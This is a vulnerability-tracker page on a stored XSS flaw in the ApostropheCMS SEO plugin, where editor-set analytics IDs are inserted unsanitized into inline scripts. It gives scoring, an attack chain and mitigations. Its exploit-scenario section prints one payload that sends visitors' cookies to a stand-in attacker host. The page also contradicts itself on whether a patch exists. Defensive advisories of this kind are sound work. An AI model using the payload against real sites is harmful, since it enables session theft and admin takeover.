Skip to main content

ApostropheCMS SEO CVE-2026-53608

| EUVDEUVD-2026-36589 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-06-12 GitHub_M GHSA-wf43-fpp3-cf65
8.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain editor account on target site
  2. Delivery
    Open SEO settings in admin UI
  3. Exploit
    Submit malicious tracking ID payload
  4. Install
    Payload persisted in CMS config
  5. C2
    Visitor loads any page
  6. Execute
    Inline script executes in visitor browser
  7. Impact
    Steal session cookies or pivot to admin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must hold a user account with editor-level role (the default role assigned to content managers in ApostropheCMS) on the target installation, and the @apostrophecms/seo plugin must be installed and the SEO fields exposed in the admin UI. Exploitation also requires that a victim subsequently load any page on the site after the malicious tracking ID is saved - automatic for site visitors during normal browsing, so this is a low bar. Limiting factors: single-administrator deployments where no other accounts hold editor rights are not exploitable, and sites that do not install the SEO plugin or that hardcode tracking IDs outside the CMS UI are unaffected.

Impact

The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, base 8.7) reflects a network-reachable stored XSS executed in a changed scope (visitor browser) with high confidentiality and integrity impact, requiring only the default editor role. No EPSS score, KEV listing, or public POC was provided in the input, suggesting this is a high-CVSS issue without confirmed mass exploitation yet - but the trust model of multi-tenant or community-contributor ApostropheCMS deployments makes the PR:L barrier effectively trivial, and the lack of a patch elevates real-world urgency. UI:R is debatable: visitor page loads are normal usage and arguably warrant UI:N for stored XSS, which would push the true risk slightly higher than the published score.

Exploit ScenarioDerived

An attacker who obtains or is granted editor credentials (the default content-manager role) navigates to the SEO configuration UI and sets seoGoogleTrackingId to a payload such as ');fetch('https://attacker.tld/?c='+document.cookie);//, which is concatenated into the inline analytics <script> tag rendered site-wide. Every subsequent visitor - including administrators - executes the payload in their browser, enabling session cookie theft, admin account takeover via authenticated requests, or drive-by malware delivery. No public POC has been published, but the injection sink is straightforward to weaponize given the description.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 12, 2026

Stored cross-site scripting in the @apostrophecms/seo plugin (versions ≤1.4.2) allows any user holding the default editor role to inject arbitrary JavaScript that executes in every visitor's browser. The seoGoogleTrackingId and seoGoogleTagManager fields are interpolated directly into inline <script> tag bodies via template literals with no sanitization, turning legitimate analytics configuration into a persistent payload delivery channel. No public exploit identified at time of analysis, and no vendor-released patch identified at time of analysis.

RemediationAI

No vendor-released patch identified at time of analysis; the advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wf43-fpp3-cf65 explicitly states no patched version is yet available. As compensating controls until a fix ships: restrict the editor role to highly trusted users only and audit current holders, since editor is the default content-manager role and is the abuse vector; remove or disable the @apostrophecms/seo module if Google Analytics/Tag Manager are not required, accepting loss of integrated SEO management; if analytics are required, hardcode seoGoogleTrackingId and seoGoogleTagManager values in server-side configuration outside the CMS UI rather than via editor-managed fields; and deploy a strict Content Security Policy that forbids inline script execution (script-src without 'unsafe-inline'), noting this will break any other inline scripts the theme relies on and requires nonce/hash refactoring. Monitor the advisory URL for the patched release.

Affected VersionsENISA

@apostrophecms/seo ≤ 1.4.2

Affected Packages

npm @apostrophecms/seo fix: 1.5.0
euvd apostrophecms_seo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the @apostrophecms/seo plugin for ApostropheCMS, a Node.js-based open-source content management system (CPE: cpe:2.3:a:apostrophecms:@apostrophecms/seo). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) realized through unsanitized JavaScript template literal interpolation: user-supplied values intended as opaque identifiers (e.g., 'UA-XXXXX' or 'GTM-XXXXX') are written directly inside <script>…</script> blocks rendered on every page. Because the injection point is already inside an executing JavaScript context, attackers do not even need to break out of an HTML attribute - any characters supplied become live code at parse time.

Know when Apostrophecms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 9.6 CRITICAL

Editor role required (PR:L); stored XSS executes during normal browsing so UI:N rather than UI:R; scope changes from CMS to visitor browser (S:C) with high C/I impact, no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

ApostropheCMS is an open-source Node.js content management system. Versions up to and including 1.4.2 of the @apostrophecms/seo package injects the Google Analytics Tracking ID (seoGoogleTrackingId) and Google Tag Manager ID (seoGoogleTagManager) directly into <script> tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. As of time of publication, no known patched versions are available.

Executive ViewAI

Why It Matters

The @apostrophecms/seo plugin (versions 1.4.2 and earlier) allows any editor-level user to inject persistent malicious JavaScript that executes in every visitor's browser through unsanitized Google Analytics and Tag Manager configuration fields. Organizations using ApostropheCMS face direct risk of visitor data theft, malware distribution, and website compromise without vendor patch availability.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict editor role access to trusted personnel only; (2) Disable or remove the seoGoogleTrackingId and seoGoogleTagManager input fields from the CMS interface; (3) Deploy Content Security Policy headers blocking inline script execution; (4) Implement Web Application Firewall rules to detect anomalous tracking code injections; (5) Enable comprehensive audit logging of all editor configuration changes and review logs weekly.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 sources
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-63669 MEDIUM POC
6.5 Aug 17

Integrity bypass in ApostropheCMS page management allows authenticated low-privileged editors to move pages into restric

CVE-2026-63670 MEDIUM POC
6.1 Aug 17

Stored cross-site scripting in ApostropheCMS prior to 2.17.6 enables execution of arbitrary JavaScript in victim browser

CVE-2014-125128 MEDIUM POC
6.1 Sep 08

'sanitize-html' prior to version 1.0.3 is vulnerable to Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1), th

CVE-2019-25225 MEDIUM POC
6.1 Sep 08

`sanitize-html` prior to version 2.0.0-beta is vulnerable to Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1

CVE-2021-25979 CRITICAL
9.8 Nov 08

Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or chang

CVE-2026-84371 MEDIUM POC
5.4 Sep 01

Stored XSS in sanitize-html versions 1.9.0 through 2.17.6 allows authenticated low-privileged users to inject executable

CVE-2024-21501 MEDIUM POC
5.3 Feb 24

Versions of the package sanitize-html before 2.12.1 are vulnerable to Information Exposure when used on the backend and

CVE-2021-26540 MEDIUM POC
5.3 Feb 08

Apostrophe Technologies sanitize-html before 2.3.2 does not properly validate the hostnames set by the "allowedIframeHos

CVE-2021-26539 MEDIUM POC
5.3 Feb 08

Apostrophe Technologies sanitize-html before 2.3.1 does not properly handle internationalized domain name (IDN) which co

CVE-2026-53609 CRITICAL
9.1 Jun 12

Prototype pollution in ApostropheCMS versions up to and including 4.30.0 allows an authenticated editor to poison Object

CVE-2026-35569 HIGH
8.7 Apr 15

Stored cross-site scripting in ApostropheCMS SEO fields permits an authenticated attacker to inject arbitrary JavaScript

CVE-2026-113658 HIGH
7.5 Oct 20

Unauthenticated denial of service in ApostropheCMS versions prior to 4.33.0, where the Rich Text CSV conversion route st

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy